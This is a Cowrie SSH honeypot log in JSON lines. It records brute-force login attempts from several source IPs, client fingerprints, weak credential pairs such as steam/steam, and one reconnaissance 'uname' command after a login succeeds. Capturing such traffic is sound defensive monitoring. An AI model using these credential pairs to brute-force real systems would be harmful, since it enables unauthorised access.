{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:39.574063Z","src_ip":"45.153.34.195","session":"a70dcd571082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:39.670759Z","src_ip":"45.153.34.195","session":"a70dcd571082","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:39.710406Z","src_ip":"91.92.40.36","session":"6a7a1d0d7cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:39.714195Z","src_ip":"91.92.40.36","session":"6a7a1d0d7cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:39.756243Z","src_ip":"91.92.40.36","session":"eaad81c3baad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:40.079168Z","src_ip":"45.153.34.195","session":"a70dcd571082","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:40.377198Z","src_ip":"45.153.34.195","session":"a70dcd571082","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:40.380641Z","src_ip":"45.153.34.195","session":"a70dcd571082","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:40.467340Z","src_ip":"45.153.34.195","session":"a70dcd571082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:40.472086Z","src_ip":"45.153.34.195","session":"a70dcd571082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14156,"dst_ip":"10.17.0.5","dst_port":22,"session":"3304a5ea747f","protocol":"ssh","message":"New connection: 45.153.34.195:14156 (10.17.0.5:22) [session: 3304a5ea747f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:42.441987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:42.447622Z","src_ip":"45.153.34.195","session":"3304a5ea747f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:42.540467Z","src_ip":"45.153.34.195","session":"3304a5ea747f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telegram","password":"telegram","message":"login attempt [telegram/telegram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:42.919804Z","src_ip":"45.153.34.195","session":"3304a5ea747f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:44.006715Z","src_ip":"45.153.34.195","session":"3304a5ea747f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@","message":"login attempt [root/123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:44.194389Z","src_ip":"91.92.40.36","session":"6a7a1d0d7cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21682,"dst_ip":"10.17.0.5","dst_port":22,"session":"008eb94a7a2f","protocol":"ssh","message":"New connection: 91.92.40.36:21682 (10.17.0.5:22) [session: 008eb94a7a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:45.412979Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14170,"dst_ip":"10.17.0.5","dst_port":22,"session":"74f1769e5ac9","protocol":"ssh","message":"New connection: 45.153.34.195:14170 (10.17.0.5:22) [session: 74f1769e5ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:45.424452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:45.442510Z","src_ip":"45.153.34.195","session":"74f1769e5ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:45.524347Z","src_ip":"45.153.34.195","session":"74f1769e5ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:45.840013Z","src_ip":"45.153.34.195","session":"74f1769e5ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:46.611597Z","src_ip":"91.92.40.36","session":"6a7a1d0d7cb2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:46.759529Z","src_ip":"91.92.40.36","session":"008eb94a7a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:46.922312Z","src_ip":"45.153.34.195","session":"74f1769e5ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:47.143184Z","src_ip":"91.92.40.36","session":"008eb94a7a2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14182,"dst_ip":"10.17.0.5","dst_port":22,"session":"1048b0806110","protocol":"ssh","message":"New connection: 45.153.34.195:14182 (10.17.0.5:22) [session: 1048b0806110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:48.337500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:48.342456Z","src_ip":"45.153.34.195","session":"1048b0806110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:48.427185Z","src_ip":"45.153.34.195","session":"1048b0806110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:48.691446Z","src_ip":"45.153.34.195","session":"1048b0806110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":45820,"dst_ip":"10.17.0.5","dst_port":22,"session":"49056e826032","protocol":"ssh","message":"New connection: 101.36.122.139:45820 (10.17.0.5:22) [session: 49056e826032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:49.378455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:49.383161Z","src_ip":"101.36.122.139","session":"49056e826032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:49.596617Z","src_ip":"101.36.122.139","session":"49056e826032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:49.775693Z","src_ip":"45.153.34.195","session":"1048b0806110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tz123456","message":"login attempt [root/Tz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:50.476591Z","src_ip":"101.36.122.139","session":"49056e826032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14204,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5a16209feb0","protocol":"ssh","message":"New connection: 45.153.34.195:14204 (10.17.0.5:22) [session: a5a16209feb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:51.234499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:51.238812Z","src_ip":"45.153.34.195","session":"a5a16209feb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:51.338275Z","src_ip":"45.153.34.195","session":"a5a16209feb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:51.691241Z","src_ip":"101.36.122.139","session":"49056e826032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tuan","password":"tuan","message":"login attempt [tuan/tuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:51.716391Z","src_ip":"45.153.34.195","session":"a5a16209feb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:52.800825Z","src_ip":"45.153.34.195","session":"a5a16209feb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35218,"dst_ip":"10.17.0.5","dst_port":22,"session":"adba302a967e","protocol":"ssh","message":"New connection: 91.92.40.36:35218 (10.17.0.5:22) [session: adba302a967e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:54.012535Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35050,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e61e57d8dc0","protocol":"ssh","message":"New connection: 45.153.34.195:35050 (10.17.0.5:22) [session: 6e61e57d8dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:54.189785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:54.193987Z","src_ip":"45.153.34.195","session":"6e61e57d8dc0","protocol":"ssh"}
